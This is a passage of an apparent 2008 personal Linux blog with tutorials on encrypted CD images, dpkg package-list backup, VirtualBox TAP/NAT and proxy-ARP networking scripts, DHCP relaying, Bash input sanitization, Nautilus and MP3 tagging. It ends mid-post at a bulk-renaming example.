A much more flexible method for Linux users is to encrypt the entire CD or DVD with an AES symmetric key, and work with the data by simply mounting the disc. This means you don’t have to copy the files, they are simply presented to you as you would expect with an unencrypted disc.

Prerequisites

Prerequisites include loading the Cryptoloop kernel module and the installation of the Loop-AES toolset. Installing these packages in Ubuntu/Debian and loading the cryptoloop module is a snap.

sudo apt-get install aespipe loop-aes-utils
sudo modprobe cryptoloop

Verify that cryptoloop and AES kernel modules are loaded with lsmod.

lsmod | grep cryptoloop
cryptoloop             10880  0
loop                   23180  1 cryptoloop

lsmod | grep aes
aes_i586               15744  2
aes_generic            35880  1 aes_i586

If you had to load these modules by hand, make sure to add them to /etc/modules so that they are loaded on boot up.

Create, burn and mount encrypted images

To create a standard CD image, use genisofs (formally known as mkisofs), pipe the output to aespipe, and redirect the final output to an ISO file. Notice that we have specified that aespipe will use AES256 encryption, and it will has you to enter a password twice. Don’t lose it! ;)

genisoimage -quiet -r Documents/ | aespipe -T -e aes256 > documents.iso
Password: (enter password)
Retype password: (enter password)

Mount the image using the encryption option. The mounting process will ask you for the passphrase.

sudo mount -o loop,encryption=aes256 documents.iso /mnt
Password: (enter password)

Burn the disc image, replacing /dev/dvdrw with the appropriate value for your system. wodim was formerly known as cdrecord, so feel free to replace it with any command you are familiar with.

wodim dev=/dev/dvdrw documents.iso

Mount the CD/DVD using the same mount options as previously demonstrated.

sudo mount -o loop,encryption=aes256 /dev/dvdrw /mnt
Password: (enter password)

Work with your files as you would with any normal CD or DVD.

ls -l /mnt/
total 0
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile1.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile2.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile3.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile4.txt

Share and Enjoy:

Backup and Restore Package Lists in Ubuntu

gmendoza — Sun, 19 Oct 2008 21:34:14 +0000

Here’s a simple tutorial on how to backup a list of all your installed repository applications, and restore them to another machine, perhaps even the same machine after a clean installation. This can save you an incredible amount of time, especially when this task must be repeated often. Of course, being that Ubuntu is based on Debian, this will work for any Debian based platform.

First, from a computer with all the applications preinstalled, retrieve your installed package list and redirect the output to a file called packages.txt. Save this package list somewhere so that you can use it for the restore process.

sudo dpkg --get-selections > packages.txt

To restore all the applications from your list, you must follow a three step process very carefully.

sudo dpkg --clear-selections
sudo dpkg --set-selections < packages.txt
sudo aptitude install

You will be prompted to install all the new applications in the list.

Another example of what this process allows you to do is create a baseline of all the applications after a clean installation of Ubuntu. Let’s say you would like to remove any applications installed since the clean install, perform the exact same process, and any package not defined in that list will be removed.

sudo dpkg --get-selections > clean-install-package-list.txt
sudo dpkg --clear-selections
sudo dpkg --set-selections < clean-install-package-list.txt
sudo aptitude install

The very first command of “–clear-selections” marks all currently installed packages to the state “deinstall”. When you restore the list of applications using “–set-selections”, only packages ommited from the list will remain in the “deinstall” state. Aptitude will honor the deinstall state and remove the extra packages, leaving you only with packages from the list. Most excellent. :-)

Share and Enjoy:

VirtualBox Host Interface Networking with NAT

gmendoza — Mon, 22 Sep 2008 02:16:40 +0000

UPDATE (12/13/2009): The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is now possible to natively bridge and NAT multiple guests behind a single virtual interface. The suggestions on this post still work fairly well, so I will leave it up as there is a great deal of useful information that come in handy in some scenarios. Please refer to the latest VirtualBox documentation for more help on using their native networking options.

ORIGINAL: Here’s a detailed tutorial on VirtualBox host interface networking with NAT for multiple guests. I typically run a number of guests simultaneously for labs and product testing, so they all need internet access through my host, as well as full communication directly with each other.

~~The built in NAT interface of VirtualBox isn’t very flexible for what we want to do, so~~ here’s a summary what what we will do. We’ll create three TAP interfaces, one for each guest~~, since TAP interfaces cannot be shared by multiple guests~~. These interfaces will serve as each guest’s default gateway, but all of the guests will use the same address space and subnet mask. For full communication between the guests, we’ll add appropriate host routes and enable proxy ARP on the host. Nothing will need to be configured on the guests accept for their IP address, subnet mask, default gateway, and DNS if needed.

Here’s a diagram of the virtual topology, which hopefully will make things a little more clear.

VirtualBox Host Interface NAT Topology

Getting Started

You’ll need to install the User Mode Linux utilities first, if you have done so already.

sudo apt-get install uml-utilities

TAP interfaces

Let’s create three TAP interfaces.

sudo tunctl -u $USER
sudo tunctl -u $USER
sudo tunctl -u $USER

Assign IP addresses to the TAP interfaces.

sudo ip addr add 192.168.20.1/32 dev tap0
sudo ip addr add 192.168.20.2/32 dev tap1
sudo ip addr add 192.168.20.3/32 dev tap2
sudo ip link set tap0 up
sudo ip link set tap1 up
sudo ip link set tap2 up

Routing Requirements

Enable routing and add host routes for each of the guest IP addresses.

sudo sysctl net.ipv4.ip_forward=1
sudo route add -host 192.168.20.201 dev tap0
sudo route add -host 192.168.20.202 dev tap1
sudo route add -host 192.168.20.203 dev tap2

Proxy ARP

Enable proxy ARP on all TAP interfaces so that all the guests can communicate with each other.

sudo sysctl net.ipv4.conf.tap0.proxy_arp=1
sudo sysctl net.ipv4.conf.tap1.proxy_arp=1
sudo sysctl net.ipv4.conf.tap2.proxy_arp=1

Notice, it is NOT necessary to enable proxy ARP on the public interface, since we will be using NAT for guests to access the public network and internet.

NAT Configuration

First flush all iptables rules and enable NAT on the public interface.

sudo iptables --flush
sudo iptables -t nat --flush
sudo iptables -t nat -A POSTROUTING --out-interface eth0 -j MASQUERADE
sudo iptables -A FORWARD --in-interface tap0 -j ACCEPT
sudo iptables -A FORWARD --in-interface tap1 -j ACCEPT
sudo iptables -A FORWARD --in-interface tap2 -j ACCEPT

Now it’s just a matter of configuring each of your guests to use the appropriate host interface as shown in the screenshot below.

After assigning the guest to an interface, configure the guest operating system with the appropriate IP address and routing information. The following list will show the IP address configuration each guest should use for this example.

Guest 1
Host interface: tap0
IP Address: 192.168.20.201
Subnet Mask: 255.255.255.0
Gateway: 192.168.20.1
DNS: Any reachable DNS server.

Guest 2
Host interface: tap1
IP Address: 192.168.20.202
Subnet Mask: 255.255.255.0
Gateway: 192.168.20.2
DNS: Any reachable DNS server.

Guest 3
Host interface: tap2
IP Address: 192.168.20.203

Subnet Mask: 255.255.255.0
Gateway: 192.168.20.3
DNS: Any reachable DNS server.

And that’s it. Your guests should all be able to ping each other, and access the internet!

To make things easy, I have also created the following Bash shell script that creates and tears down the environment with ease. Modify settings to your liking.

#!/bin/bash
# tap-setup.sh
# By Gilbert Mendoza
 
# Change username accordingly
USER="gmendoza"
PROXY="tap0 tap1 tap2"
TAPS="tap0 tap1 tap2"
NAT_OUT="eth0 wlan0"
 
ip_setup(){
ip addr add 192.168.20.1/32 dev tap0
ip addr add 192.168.20.2/32 dev tap1
ip addr add 192.168.20.3/32 dev tap2
route add -host 192.168.20.201 dev tap0
route add -host 192.168.20.202 dev tap1
route add -host 192.168.20.203 dev tap2
}
 
nat_setup(){
iptables --flush
iptables -t nat --flush
for i in $NAT_OUT
 do
   iptables -t nat -A POSTROUTING --out-interface $i -j MASQUERADE
done
for i in $TAPS
 do
   iptables -A FORWARD --in-interface $i -j ACCEPT
done
}
 
tap_up(){
tunctl -u $USER
tunctl -u $USER
tunctl -u $USER
sysctl net.ipv4.ip_forward=1
for i in $PROXY
 do 
   sysctl net.ipv4.conf.$i.proxy_arp=1
done
for i in $TAPS
 do
   ip link set $i up
done
}
 
tap_down(){
sysctl net.ipv4.ip_forward=0
iptables --flush
iptables -t nat --flush
for i in $PROXY
 do
   sysctl net.ipv4.conf.$i.proxy_arp=0
done
for i in $TAPS
 do
   tunctl -d $i
done
}
 
if [[ $EUID -ne 0 ]]; then
  echo "This script must be run as root" 1>&2
  exit 1
else
 
case "$1" in
 
start)
	tap_up
	ip_setup
	nat_setup
	;;
stop)
	tap_down
	;;
*)
	echo "Usage: $0 {start|stop}"
	;;
esac
 
fi
 
exit 0

Using it is as simple as the following.

sudo tap-setup.sh start
sudo tap-setup.sh stop

Share and Enjoy:

VirtualBox Wireless Bridging with DHCP

gmendoza — Sun, 21 Sep 2008 17:15:48 +0000

UPDATE (12/13/2009): The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is possible to natively bridge guests over your hosts wireless connection “out of the box”, even allowing guests bridge over wireless with DHCP. The suggestions on this post still work fairly well, and will be left up as it has bits of information that is still useful in some scenarios. Please refer to the latest VirtualBox documentation for more help.

ORIGINAL: In the following instructions, we’ll explore a couple of methods on how to let your VirtualBox guest use the DHCP services of your host’s wireless network.

In a previous post, I outlined how to bridge a VirtualBox guest across the wireless connection of your host. But the process involved using static IP’s for your guest, because unlike a true bridge, your host is actually acting as a router, forwarding only unicast packets between the two networks. This complicates your guests ability to use DHCP, since broadcasts are typically not forwarded by routers. I’m going to demonstrate two methods that work around this limitation. For the first method, we’ll be using two different DHCP relay agents. For the second method, we’ll simply use a Broadcast Relay Agent.

Network Assumptions

I’m going to assume we’re using a very simple setup typical to most small networks and wireless routers. Feel free to adjust the following values according to your own requirements.

Wireless Network ID: 192.168.1.0/24
Wireless Network DHCP Range: 192.168.1.2-100
Wireless Network DHCP Server: 192.168.1.1
Host Computer Wireless Interface: wlan0 (change accordingly)
Host Computer Wireless IP: Any IP (Doesn’t matter; You can use DHCP or static)
Host Computer TAP Interface IP: 192.168.1.150/32 (choose something outside DHCP range)
Guest Computer IP: DHCP/Dynamic

Getting Started

Enable IP forwarding on your host.

sudo sysctl net.ipv4.ip_forward=1

Install the User Mode Linux utilities, for the tunctl application.

sudo apt-get install uml-utilities

Create a TAP interface and give it a static IP address in the same address space as your wireless network.

sudo tunctl -u $USER
sudo ip addr add 192.168.1.150/32 dev tap0
sudo ip link set tap0 up

The IP address you choose for the TAP interface should be outside the DHCP range to prevent conflicts with other hosts. It’s very important that you don’t use the same subnet mask as your wireless interface, because you can run into unpredictable routing behavior on your host. I recommend using a 32-bit subnet mask as it is very clean and efficient. I like to use the ip command, but feel free to use ifconfig to accomplish the same thing.

Proxy ARP Required

Unlike in the previous post, unless you are reserving an IP address for your guest on the DHCP server, you may not know what IP address your guest will receive. In order for kernel based proxy ARP to work, you would need to manually add the assigned IP address to your routing table.

So to make things easy for you, parprouted comes to the rescue.

sudo apt-get install parprouted

When you run parprouted, it inspects ARP traffic on both sides of the network and adds IP addresses as host routes in the routing table. Run this command in one terminal so you can check out what’s happening in the background.

sudo parprouted -d wlan0 tap0

Method 1: DHCP Relay Agent

DHCP Relay Agents are commonly used on routed networks with centralized DHCP services. The relay agent is a service that is typically configured on a router and converts DHCP broadcasts into unicast messages directed at the DHCP servers IP address. For more detailed explanations on the matter, check out RFC 3046 and 1542.

Simon Kelley’s DHCP Helper (Option A)

I selected to discuss Simon Kelley’s DHCP Helper first because it really is a brilliantly simple and intuitive application. The primary advantage it has over ISC’s DHCP Relay is that you do not have to configure the application with the IP address of the DHCP server. You simply tell dhcp-helper which interface on which you want it to automatically discover the dhcp server via broadcast, and it does the rest for you!

Install dhcp-helper from your repositories, or download the latest source code here.

sudo apt-get install dhcp-helper

The service starts on installation automatically, listening on interface eth0. You’ll want to configure it in the file /etc/default/dhcp-helper. I am adding “-i wlan0” because by default it will listen on all other interfaces as well. This way, we limit the test to your VirtualBox guest.

DHCPHELPER_OPTS="-b wlan0 -i tap0"

Restart the service.

sudo /etc/init.d/dhcp-helper restart

Configure your VirtualBox guest to use tap0 as it’s network interface, and watch it pull an IP address from your DHCP server!

ISC’s DHCP Relay (Option B)

First of all, if you would rather use ISC’s DHCP Relay, you must remove dhcp-helper discussed in the previous section. It’s not as transparent as dhcp-helper, so I’m just mentioning it here for the sake of completeness.

Ubuntu and Debian repositories provide ISC’s DHCP relay agent in the dhcp3-relay package. For other distros, check your repositories accordingly.

sudo apt-get install dhcp3-relay

The installer will prompt you to add the IP address of your DHCP server and the interface you wish to listen on, etc. Simply leave them blank for now, as for this example, we’ll be testing things out from a command line. To test things out, run the following command from a separate terminal window, where the IP address is that of your DHCP server.

sudo dhcrelay3 -d -i wlan0 -i tap0 192.168.1.1

Configure your VirtualBox guest to use tap0 as it’s network interface, and watch it pull an IP address from your DHCP server!

Method 2: Broadcast Relay

Okay, so I’d love to take the credit for this one, but a reader from a previous post, Nick Knight, pointed me to a utility called bcrelay. Now this application is cool! It totally mitigates the need for a DHCP relay agent (so kill that process if you are running it), as bcrelay simply rewrites the layer-2 header and forwards broadcast messages between network interfaces. In the case of DHCP, the source MAC address of the packet is changed to your host machines address, but the DHCP header is untouched. So the DHCP server will still offer a brand new IP address to the guest.

Install and run the application from a separate terminal window. As a reminder, you still need to use parprouted though in another window.

sudo apt-get install bcrelay
sudo bcrelay -i tap0 -o wlan0

Configure your VirtualBox guest to use tap0 as it’s network interface, and watch it pull an IP address from your DHCP server!

Troubleshooting

If you really want to see all the action, use wireshark or tcpdump to inspect traffic. The following capture filter works well, in two separate terminals of course.

sudo tcpdump -eni tap0 udp port 67 or udp port 68 or arp or icmp
sudo tcpdump -eni wlan0 udp port 67 or udp port 68 or arp or icmp

Also, these commands are useful as well.

watch -n1 route -n
watch -n1 arp -an

If you need to figure out what is going wrong, be sure to stop all the components of the appropriate method and run them in the foreground in separate terminals. e.g. parprouted, bcrelay, dhcp-helper, dhcp3-relay. Most will give you clues as to what is failing.

Now.. I should mention, I ran into all sorts of issues when trying to get all of this to work. The methods that gave me the most trouble were the DHCP relay agents.

I have an Actiontec MI424WR router that royally screws up my DHCP relay agent’s packet exchange. I wasn’t getting any DHCP offers with unicast packets sent to the router. Apparently, during a typical non-relayed DHCP exchange, I was able to see that the router’s source MAC address was completely different in broadcast DHCP offer packets than what it’s IP address is actually associated with, so my unicast packets were probably being dropped by the router. I’m assuming this is some type of internal bridge interface dedicated for DHCP services or something, so I ended up having to install a separate DHCP server for this to work. ISC’s DHCP server worked completely normal, and I suspect this is entirely the routers fault.

Conclusion

If you do want to use this configuration regularly, I recommend the combination of parprouted and bcrelay or dhcp-helper. Both can be run in the background easily, and requires almost zero configuration if traveling between multiple networks.

However, as you have probably gathered, both methods described above are a bit complicated, and I don’t necessarily recommend it for every day use. I did it because I’m a geek, and I wanted to prove it could be done. While the process of setting up the entire environment could be made simpler with scripts, the challenges you will face on each wireless network might make the process of troubleshooting counterproductive. Many of the headaches you will face will be related to the wireless network hardware, such as centralized wireless solutions that restrict the number of MAC to IP addresses in order to prevent MITM attacks, and of course in some cases, charge you appropriately.

The best solution for public hostspots and corporate networks is still good old fashioned NAT. :-) But this way sure is is a lot of fun and a good way to waste your weekend to impress all your other nerd buddies.

Share and Enjoy:

Word War Vi in Ubuntu

gmendoza — Sat, 09 Aug 2008 16:29:54 +0000

As described by the author, Word War Vi is “a retro styled side scrolling shoot’em up arcade game for linux”. The game play is fast paced, complemented by superb audio and very addictive.

At the time of this writing, there was no Ubuntu/Debian package, but compiling the game is a snap.

To get the latest version, please visit the Word War Vi site and download the source code.

Install Prerequisites and Dependencies

sudo apt-get install build-essential gnome-core-devel portaudio19-dev libvorbis-dev

Extract, Compile and Install
Replace x.xx in the file name with the current version number of the file downloaded. It shouldn’t need to be mentioned, but just in case. :-)

tar zxfv wordwarvi-x.xx.tar.gz cd wordwarvi* make && sudo make install

Execute and Have fun

wordwarvi

I noticed when running the game, my audio sounded a bit garbled. Changing the Sound Device seemed to clear it up, although the number varied depending on the sound card of each of the machines I’ve tested it on. Try incrementing the number until one sounds normal.

wordwarvi --sounddevice 0 wordwarvi --sounddevice 1 wordwarvi --sounddevice 2

Share and Enjoy:

VirtualBox Wireless Bridging

gmendoza — Sun, 27 Jul 2008 08:12:36 +0000

ORIGINAL: Here’s a straight forward explanation on how to bridge (well, technically route) your VirtualBox (VB) guest network interface through your host machines wireless network connection. The guest machine will be configured to use a static IP address that is on the same subnet as the wireless network, and will also be able to communicate directly with any device on the network.

First things first, make sure you have a working VB installation and that your guest operating system is configured with a static IP address outside of your DHCP scope. You also need to install the User Mode Linux utilities. In Ubuntu/Debian, they are found in the uml-utilities package.

sudo apt-get install uml-utilities

You also need to ensure your /dev/net/tun interface has the appropriate permissions for the vboxusers group. You can set the permissions manually and should modify the udev rules to have them apllied at boot up.

sudo chown root.vboxusers /dev/net/tun sudo chmod g+rw /dev/net/tun

Add the following line of code to /etc/udev/rules.d/20-names.rules:

KERNEL=="tun", NAME="net/%k", GROUP="vboxusers", MODE="0660"

Verify /dev/net/tun permissions:

ls -l /dev/net/tun crw-rw---- 1 root vboxusers 10, 200 2008-04-24 16:34 /dev/net/tun

How does this all work?
The magic of this process is achieved through a technique called “Proxy ARP”. This technique allows a router, in this case your Linux host computer, to intercept Layer-2 ARP packets, and forward them through the host computer and into adjacent networks. Long story short, to the external network, your guest computers MAC address is masked behind the host computers MAC address. The IP address of your guests remain unique to the network and all devices on either side of the host can communicate directly with each other.

Network Assumptions:
I’m going to assume we’re using a very simple setup typical to most small networks and wireless routers. Feel free to adjust the following values according to your own requirements.

Wireless Network ID: 192.168.1.0/24
Wireless Network DHCP Range: 192.168.1.2-100
Wireless Network Default Gateway: 192.168.1.1
Host Computer Wireless Interface: wlan0 (change accordingly)
Host Computer IP: Any IP (Doesn’t matter; You can use DHCP or static)
Guest Computer IP: 192.168.1.200 (Static IP outside DHCP range to avoid conflicts)
Guest Computer DNS: Any DNS server
Guest Default Gateway: 192.168.1.1 (Same value that other devices on the network use)

Quick scripts for the impatient:
To bring up the the tap interface and apply appropriate settings. Run them with root privileges.

sudo tunctl -u $USER sudo sysctl net.ipv4.ip_forward=1 sudo sysctl net.ipv4.conf.wlan0.proxy_arp=1 sudo sysctl net.ipv4.conf.tap0.proxy_arp=1 sudo ip link set tap0 up sudo route add -host 192.168.1.200 dev tap0

To tear down the interface and configuration.

sudo sysctl net.ipv4.ip_forward=0 sudo sysctl net.ipv4.conf.wlan0.proxy_arp=0 sudo sysctl net.ipv4.conf.tap0.proxy_arp=0 sudo tunctl -d tap0

Explanation of steps:
Create TAP interface on the host computer (tap0):

sudo tunctl -u $USER

The $USER variable typically maps to your own user account. If not, simply replace $USER with the account that will be running your guest machine; typically your own username.

Enable IP forwarding, which turns your host computer into a router.

sudo sysctl net.ipv4.ip_forward=1

Enable proxy ARP on both the TAP and wireless interfaces.

sudo sysctl net.ipv4.conf.wlan0.proxy_arp=1 sudo sysctl net.ipv4.conf.tap0.proxy_arp=1

Enable the TAP interface.

sudo ifconfig tap0 up

Add a static host route that points to your guest computer via the tap0 interface.

sudo route add -host 192.168.1.200 dev tap0

This is required for your host computer to be able to know how to forward packets to your guest. Ultimately, this is what allows the kernels proxy ARP feature to work.

Edit the VB guest network settings so that Adapter 0 is attached to the Host Interface, and that the Interface Name is set to tap0. The screenshot below is an example of such a configuration.

Finally, turn on the guest system, and if you have already configured it’s IP address, you should be able to ping it. The guest should also be able to ping every other device on the network. Provided you have used the correct DNS and default gateway for your network, you will also have internet access available.

Some community documents claim that you need to use an application called parprouted to accomplish this, but that is not the case. Linux has native proxy ARP support, and as demonstrated here, using it couldn’t be easier. Parprouted provides the same service, however it runs as a daemon and adds host routes for every IP involved in a proxy ARP exchange. Depending on the network size, your routing table can become large very quickly. In addition to your increased routing table entries, the service also sends ARP queries to refresh the addresses every 50 seconds, adding senseless clutter to your network as well. While it’s a useful tool for certain applications, you don’t need it if you’re doing light VB bridging.

Full Script Example: tap-setup.sh
Save the following script to somewhere in your path and modify the appropriate values accordingly. You must run the script with root privileges and supply the appropriate start and stop variable to bring up and tear down the TAP interface.

#!/bin/bash
# tap-setup.sh
 
# Change username accordingly
USER="username_here"
 
tap_up(){
tunctl -u $USER
sysctl net.ipv4.ip_forward=1
sysctl net.ipv4.conf.wlan0.proxy_arp=1
sysctl net.ipv4.conf.tap0.proxy_arp=1
ip link set tap0 up
route add -host 192.168.1.200 dev tap0
}
 
tap_down(){
sysctl net.ipv4.ip_forward=0
sysctl net.ipv4.conf.wlan0.proxy_arp=0
sysctl net.ipv4.conf.tap0.proxy_arp=0
tunctl -d tap0
}
 
if [[ $EUID -ne 0 ]]; then
  echo "This script must be run as root" 1>&2
  exit 1
else
 
case "$1" in
 
start)
	tap_up
	;;
stop)
	tap_down
	;;
*)
	echo "Usage: $0 {start|stop}"
	;;
esac
 
fi
 
exit 0

Multiple Virtual Guest Machines:
More than likely, you will be running more than just one virtual machine. All that is required for this to work is to add an additional static host route for each guest IP address. Add these manually, or simply modify the script to add them for you. Make sure you are choosing IP addresses outside your DHCP address pool to avoid conflicts.

sudo route add -host 192.168.1.200 dev tap0 sudo route add -host 192.168.1.201 dev tap0 sudo route add -host 192.168.1.202 dev tap0 sudo route add -host 192.168.1.203 dev tap0

You can also use a subnet instead of lots of host routes, but you need to be careful in doing so. Adding the entire subnet of your host network (in this case a 24 bit mask) can cause unpredeictable routing behavior. If you know your DHCP pool never extends above the first 100 addresses, you can simply choose to use a smaller subnet matching the higher IP addresses. This way you dedicate these addresses for your guests, and avoid weird routing issues. The following static route example will allow you to use host addresses between .129 and .254.

sudo route add -net 192.168.1.128 netmask 255.255.255.128 dev tap0

Here’s an example of the routing table. Notice that the output is minimal and extremely clean.

route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.128 0.0.0.0 255.255.255.128 U 0 0 0 tap0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 wlan0

You do NOT have to modify your guest or host subnet masks. Leave them to their respective values. The static route is used simply to help keep your host computer organized and routing appropriately to each side of the network.

Additional FAQ’s:
Q: Does my tap0 interface require it’s own IP address?
A: No. The static route to your guests as shown in the above examples use the tap0 interface as the destination. Packets are simply forwarded out the tap0 interface, and layer-3 information is unaltered.

Q: How does my host computer communicate directly with the guest machine?
A: If your wlan0 interface has an IP address, your host computers routing table will take care of everything for you. You will communicate directly with the guest using the wlan0 IP as the source address.

Q: Does my host computer even require an IP address?
A: No. Your wlan0 interface doesn’t need an IP address for any of this to work. Your host computer won’t be able to communicate directly with anything on the network via layer-3, but will act as a transparent bridge. If you just want your guest on the network, remove all IP addresses and routes from your host, then simply create appropriate static routes for both sides of the host directing traffic out each interface. Using the same strategy of splitting your network in half to avoid DHCP scope conflicts, we add two /25 bit routes, the lower half of the block out wlan0, and the upper half out tap0. You also need a default gateway defined if your guests need internet access.

sudo route add -net 192.168.1.0 netmask 255.255.255.128 dev wlan0 sudo route add -net 192.168.1.128 netmask 255.255.255.128 dev tap0 sudo route add default gw 192.168.1.1

route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.128 U 0 0 0 wlan0 192.168.1.128 0.0.0.0 255.255.255.128 U 0 0 0 tap0 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 wlan0

If you run tcpdump to inspect the magic taking place, you’ll notice ARP exchanges are proxied from a 0.0.0.0 address on your host computer, which is completely acceptable and works well. However, this represents a highly irregular configuration, and if you have multiple host computers doing the same thing you will run into layer-2 issues. Think layer-2 man in the middle attack… but on accident. :-) This example is simply for educational purposes.

Q: Okay, so I know I don’t need it, but what if I want my tap0 interface to have an IP address?
A: You just want to be careful about the subnet mask you assign to the tap0 interface. I really don’t recommend assigning the same subnet mask as your physical interface, because doing so automatically adds a second route for that subnet, and you can run into routing decision and interface selection issues. I recommend using a 32 bit mask host address.

sudo ip addr add 192.168.1.150/32 dev tap0

This is the cleanest way, because the routing table is only adjusted for that single IP address. Proxy ARP again will work perfectly with that address since the host computer has the route. Also, 32 bit mask address assignments on the host will not show ip in the routing table, so don’t worry if you don’t see it with the route command.

Q: I was messing around with the tunctl commands, and now VirtualBox complains and I can’t start the guest machine.
A: You may have created multiple TAP interfaces inadvertently. If you run “tunctl -u $USER” and the output tells you that it has set a TAP interface with a higher numerical value than tap0 (e.g. tap2, tap3, etc), then you simply need to remove them all, and start over.

sudo tunctl -d tap2 sudo tunctl -d tap1 sudo tunctl -d tap0 sudo tunctl -u $USER

If your tunctl output shows you creating tap0, then you should be good to go.

Set ‘tap0′ persistent and owned by uid 1000

Q: Can I use DHCP on my guest computers?
A: Sure! It is possible, and I will cover this in an upcoming article. You simply need to use a DHCP relay utility that converts your DHCP broadcast messages into unicast messages directed to your networks DHCP server. dhcp3-relay is the tool for the job. However, using DHCP complicates things a bit because now your static route will need to be added dynamically. Now THAT sounds like a job for parprouted! Stay tuned.

Share and Enjoy:

Bash User Input Validation

gmendoza — Sun, 20 Jul 2008 23:15:51 +0000

If you are writing your latest and greatest Bash shell script that requires careful user input, then you are probably looking for a way to validate or sanitize the input before using the data in commands or subroutines. Here’s an example shell script that reads user input into a variable, which we in turn echo and sanitize into a new variable. The new variable will then be used to perform whatever function is required, in this case displaying the new value.

#!/bin/bash
read -p "Enter variable: " VAR_INPUT
# Sanitize input and assign to new variable
export VAR_CLEAN="`echo "${VAR_INPUT}" | tr -cd '[:alnum:] [:space:]'`"
echo "New Variable: ${VAR_CLEAN}"

Notice, we use the tr command to delete everything except alphanumeric and space characters. You can also perform further manipulation with any other command that comes to mind. For example, if you would like to also limit the number of characters to 10, use the cut command.

export VAR_CLEAN="`echo "${VAR_INPUT}" | tr -cd '[:alnum:] [:space:]' | cut -c -10`"

I like using tr in this fashion, because instead of trying to exclude specific characters, you have the option to enforce a deny all policy, making it easier for you to allow only what you want.

As one of our readers mentioned, there is an even simpler method using only Bash search and replace! This eliminates the need for the execution of tr. In the following example, we sanitize the input allowing for only alphanumeric characters and spaces. I also show how to trim the string length to a maximum character limit of 10.

#!/bin/bash
read -p "Enter variable: " VAR_INPUT
# Sanitize input and assign to new variable
export VAR_CLEAN_1="${VAR_INPUT//[^a-zA-Z0-9 ]/}"
echo "New Variable 1: ${VAR_CLEAN_1}"
# Sanitize input, assign to new variable but limit it to 10 characters
export VAR_CLEAN_2="`echo "${VAR_INPUT//[^a-zA-Z0-9 ]/}" | cut -c -10`"
echo "New Variable 2: ${VAR_CLEAN_2}"

For more information, be sure to check out the man pages for tr and take a look at the Advanced Bash-Scripting Guide. Additional comments and ideas welcome!

Share and Enjoy:

Generate Text From Templates, Scripts and CSV Data

Nautilus File Selection

gmendoza — Sun, 20 Jul 2008 09:55:34 +0000

Nautilus, the default file manager used by Gnome desktop environment, sports many features that make every day use a real joy. Here’s a brief look at the different file selection options available in Nautilus as of version 2.22.3.

Multiple File Selections:
You can select multiple file ranges with multiple “shift+click” combinations. Other less advanced file managers typically lose focus on previously selected objects if you try to “shift+click” another set of files, but Nautilus handles this quite well. The following screenshot demonstrates the feature.

Pattern Selection:
You can select files by patterns in their naming convention. For example, if you would like to select only files with a particular extension, go to “Edit… Select Pattern“, or use the keyboard shortcut of “Ctrl+S“. Type in a search pattern such as “*.ogg” and click OK. The following screenshot shows the pattern select dialog.

Type-Ahead Search:
Simply typing text while focused in a Nautilus window will highlight the first matching file or folder name. Taking this simple concept one step further, if you hit the keyboard Up or Down arrows, Nautilus will focus the next matching object. Again, this is quite intuitive, since other file managers simply move the focus from the currently selected object to one that is immediately adjacent. Keep hitting the Up and Down arrows to jump between matching objects.

Standard File Search:
Of course, when you just want to perform a standard file search, you can hit the Search button, or use the “Ctrl+F” keyboard shortcut. The dialog is pretty simple to understand, and gives you a decent set of options to choose from.

Be sure to keep a lookout for many more exciting features from the Nautilus developers as they continue the trend of inovation at its finest. Hope you found these quick tips useful for your daily Nautilus usage routine.

Share and Enjoy:

MP3 Tag Editing in Linux

gmendoza — Sun, 13 Jul 2008 05:36:19 +0000

There’s a number of MP3 tag editors available for the Linux platform, but there are two I use exclusively. EasyTag by far is the easiest and probably the most popular graphical MP3 tag editors available, and I use it a great deal for a majority of my MP3 tagging and renaming functions. For quickly identifying, converting and stripping unwanted tags, I use a python based command line application called eyeD3.

In my experience, EasyTag is the most versatile tag editor available. Some often wonder why on first launch that all of their tracks are highlighted in red and why it keeps prompting them to save changes that they didn’t make. This is because by default EasyTag writes both v1.1 and v2.4 tags to files it touches, and will attempt to automatically upgrade all v2.3 tags it has scanned. This behavior can be adjusted from “Settings… Preferences… ID3 Tag Settings”. If you have a player that is not compatible with 2.4 tags, then this is the place to change it back to v2.3. Uncheck the “Automatically convert old ID3v2 tag versions” option if you would like to stop that behavior. Personally, I also remove the option to save ID3v1.x tags.

It’s easy to get a bit overwhelmed with all the options EasyTag has to offer, but the defaults are typically safe to use. Here’s a couple screenshots of the main user interface.

Other useful features include the ability to perform bulk file and directory renaming based on the tag data, or even set the tags based on the directory and file naming convention. You can clear all tags (be careful), and automatically populate tags from CDDB sources such as freedb.org, musicbrainz.org, and gnudb.org.

There are also a slew of command line tag editors each with their own strengths and weaknesses. The lack of 2.4 support plagues most of them, with the exception of eyeD3. This application is wicked cool. Not only does it support v2.4 tags but it also provides a very clean display of current tags using color and bold text. You can attach album art, add new or modify existing tags, and of course is easily scriptable.

Share and Enjoy:

Rename Files in Bulk from the Command Line

gmendoza — Mon, 07 Jul 2008 01:22:27 +0000

Renaming a large number of files can seem like a daunting task, but no worries, your trusty Linux CLI is at your service. For this example, we will rename a number of MP3′s located in multiple subdirectories with a couple very easy commands; “find” and “rename”.

By listing the following directory, you’ll see that the MP3′s have been named with “(LP Version)”, and of course I don’t like this naming convention.

cd ~/Music/Metallica/Metallica/ ls -1 01 - Enter Sandman (LP Version).mp3 02 - Sad But True (LP Version).mp3 03 - Holier Than Thou (LP Version).mp3 04 - The Unforgiven (LP Version).mp3 05 - Wherever I May Roam (LP Version).mp3 06 - Don't Tread On Me (LP Version).mp3 07 - Through The Never (LP Version).mp3 08 - Nothing Else Matters (LP Version).mp3 09 - Of Wolf And Man (LP Version).mp3 10 - The God That Failed (LP Version).mp3 11 - My Friend Of Misery (LP Version).mp3 12 - The Struggle Within (LP Version).mp3

We’ll use the “rename” command to search for and delete the string ” (LP Version)” in any of the mp3 file names.

Syntax:

